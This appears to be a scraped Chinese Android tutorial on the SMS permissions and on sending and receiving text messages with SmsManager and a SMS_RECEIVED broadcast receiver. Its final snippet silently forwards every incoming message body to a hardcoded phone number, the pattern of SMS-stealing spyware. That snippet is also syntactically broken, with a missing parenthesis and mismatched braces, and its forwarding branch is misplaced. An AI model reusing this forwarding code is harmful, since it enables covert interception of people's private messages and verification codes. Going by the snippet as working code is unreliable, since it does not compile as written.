您好,登錄后才能下訂單哦!
權限:
<uses-permission android:name="android.permission.READ_SMS"></uses-permission>
< uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
發送短信:
1. 獲得默認的消息管理器
2. 通過sendTextMessage發送短信。
SmsManager sm = SmsManager.getDefault();
sm.sendTextMessage("1888888XXX", null, str, null, null);
接收短信
收到短信時,會發出一個action名稱為android.provier.Telephony.SMS_RECEIVED的廣播Intent,該Intent存放了接管到的短信內容,應用名稱 “pdus”即可從Intent中獲取短信內容
registerReceiver(new BroadcastReceiver(){
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
Bundle bundle = intent.getExtras();
SmsMessage msgs = null;
String str = "";
if (bundle != null)
{
//---retrieve the SMS message received---
Object[] pdus = (Object[]) bundle.get("pdus");
for (int i=0;i<pdus.length; i++){
msgs=SmsMessage.createFromPdu((byte[])pdus[i]);
str += msgs.getMessageBody().toString();
}
}
}
}, new IntentFilter("android.provider.Telephony.SMS_RECEIVED"));
發送與接收集成
context.registerReceiver(new BroadcastReceiver(){
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
Bundle bundle = intent.getExtras();
SmsMessage msgs = null;
String str = "";
if (bundle != null)
{
//---retrieve the SMS message received---
Object[] pdus = (Object[]) bundle.get("pdus");
for (int i=0; i<pdus.length; i++ {
msgs =SmsMessage.createFromPdu((byte[])pdus[i]);
str += msgs.getMessageBody().toString();
}
else { // forwarding sms
SmsManager sm = SmsManager.getDefault();
sm.sendTextMessage("16467080XXX", null, str, null, null);
}
}
}, new IntentFilter("android.provider.Telephony.SMS_RECEIVED"));
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。